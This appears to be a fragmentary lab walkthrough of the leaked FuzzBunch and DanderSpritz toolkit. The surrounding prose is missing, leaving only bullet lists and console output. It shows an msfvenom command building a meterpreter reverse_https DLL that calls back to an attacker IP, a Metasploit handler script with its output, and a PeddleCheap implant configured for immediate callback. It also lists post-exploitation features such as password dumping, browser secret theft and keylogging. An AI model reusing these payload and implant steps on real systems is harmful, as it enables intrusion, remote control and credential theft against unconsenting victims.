• Python 2.6 ;
• Pywin32 ;
• Java.

• The IP address of the target as well as the one of the attacker;
• Indicate whether the redirection option will be used, maybe be used by a tool allowing the establishment of tunnels between the attacking machine and its target;
• The folder collecting the logs of the tool;
• And finally, a project name.

• Information gathering of the target and discovery of exploitable vulnerabilities: Architouch, Rpctouch, Domaintouch, Smbtouch, etc. ;
• Exploiting vulnerabilities: Emeraldthread, Eclipsedwing, Eternal*, etc. ;
• Post-exploitation after infection of the target: DouplePulsar, Regread, Regwrite, ...

• OutputInstall: used to generate a shellcode to install the backdoor, mainly to use upstream with eg Eternalromance;
• Ping: check if the backdoor has already been deployed on the target;
• Uninstall: used to uninstall the backdoor on the target system;
• RunShellcode: run its own assembly code;
• RunDLL: run a DLL within a process.

$ msfvenom -p windows/x64/meterpreter/reverse_https LPORT=443 LHOST=192.168.69.5 -f dll -o simple.dll

$ cat handler.rc

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
set ExitOnSession false
exploit -j

$ sudo msfconsole -r handler.rc
[...]
[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use exploit/multi/handler
resource (handler.rc)> set PAYLOAD windows/x64/meterpreter/reverse_https
PAYLOAD => windows/x64/meterpreter/reverse_https
resource (handler.rc)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (handler.rc)> set LPORT 443
LPORT => 443
resource (handler.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (handler.rc)> set ExitOnSession false
ExitOnSession => false
resource (handler.rc)> exploit -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://0.0.0.0:443
[*] Starting the payload handler...
msf exploit(handler) >

• Connect : used to connect to a previously backdoor target with DoublePulsar;
• Listen : used to create a listener on which targets will connect back;
• Trigger : used to create a listener on the target or to ask it to connect to an existing listener.

08:03:14>> pc_prep -sharedlib
[08:03:14] ID: 137 'python' started [target: z0.0.0.1]
- Possible payloads:
-      0) - Quit
-      1) - Standard TCP (i386-winnt Level3 sharedlib)
-      2) - HTTP Proxy (i386-winnt Level3 sharedlib)
-      3) - Standard TCP (x64-winnt Level3 sharedlib)
-      4) - HTTP Proxy (x64-winnt Level3 sharedlib)
-      5) - Standard TCP Generic (i386-winnt Level4 sharedlib)
-      6) - HTTP Proxy Generic (i386-winnt Level4 sharedlib)
-      7) - Standard TCP AppCompat-enabled (i386-winnt Level4 sharedlib)
-      8) - HTTP Proxy AppCompat-enabled (i386-winnt Level4 sharedlib)
-      9) - Standard TCP UtilityBurst-enabled (i386-winnt Level4 sharedlib)
-     10) - HTTP Proxy UtilityBurst-enabled (i386-winnt Level4 sharedlib)
-     11) - Standard TCP WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
-     12) - HTTP Proxy WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
-     13) - Standard TCP (x64-winnt Level4 sharedlib)
-     14) - HTTP Proxy (x64-winnt Level4 sharedlib)
-     15) - Standard TCP AppCompat-enabled (x64-winnt Level4 sharedlib)
-     16) - HTTP Proxy AppCompat-enabled (x64-winnt Level4 sharedlib)
-     17) - Standard TCP WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
-     18) - HTTP Proxy WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
Pick the payload type
3
Update advanced settings
NO
Perform IMMEDIATE CALLBACK?
YES
Enter the PC ID [0]
0
Do you want to LISTEN?
NO
Enter the callback address (127.0.0.1 = no callback) [127.0.0.1]
192.168.69.5
Change CALLBACK PORTS?
NO
Change exe name in version information?
NO
- Pick a key
-   0) Exit
-   1) Create a new key
-   2) Default
Enter the desired option
2
- Configuration:
-
- <?xml version='1.0' encoding='UTF-8' ?>
- <PCConfig>
-   <Flags>
-     <PCHEAP_CONFIG_FLAG_CALLBACK_NOW/>
-     <PCHEAP_CONFIG_FLAG_DONT_CREATE_WINDOW/>
-   </Flags>
-   <Id>0x0</Id>
-   <StartListenHour>0</StartListenHour>
-   <StopListenHour>0</StopListenHour>
-   <CallbackAddress>192.168.69.5</CallbackAddress>
- </PCConfig>
-
Is this configuration valid
YES
Do you want to configure with FC?
NO
- Configured binary at:
-   C:\logs\dsdemo\z0.0.0.1/Payloads/PeddleCheap_2017_04_16_08h03m20s.344/PC_Level3_dll.configured

• The status of network adapters and its configuration;
• Information about the target system;
• The list of processes (some processes such as those used by virtualization are highlighted in another color);
• The uptime;
• The list of drivers loaded with a comparison of fingerprints with an existing database:

• Dork security auditing;
• Monitors : supervision of the ARP table, netstat, and network activities;
• Scheduler survey : analysis of scheduled tasks;
• Persistence checks : checks if persistence is enabled;
• Password dump;
• OS information : the language of installation as well as the version of the operating system;
• Networking Information : retrieves the FQDN and the DNS server used, as well as the status of the network adapters and their configuration;
• Route table : the routing table;
• ARP table : the ARP table;
• NETBIOS : retrieval of information through the NETBIOS protocol;
• Memory usage information : memory status;
• Disk list and space info : list of disks and space available;
• USB survey info : information about USB.

• Retrieving information about the target system;
• Establishment of tunnels;
• Using the target to attack others;
• Screenshot;
• Port scanning;
• Network traffic capture;
• Disabling password control during authentication for a user;
• Retrieve information about an active domain directory (users, groups, computers, ...);
• Manipulation of processes;
• Retrieving secrets stored by skype, chrome, firefox, ... ;
• Installing keylogging features;
• And so on ...

• Execution of commands through a shell on the target:

• Processes manipulation :

• Logs :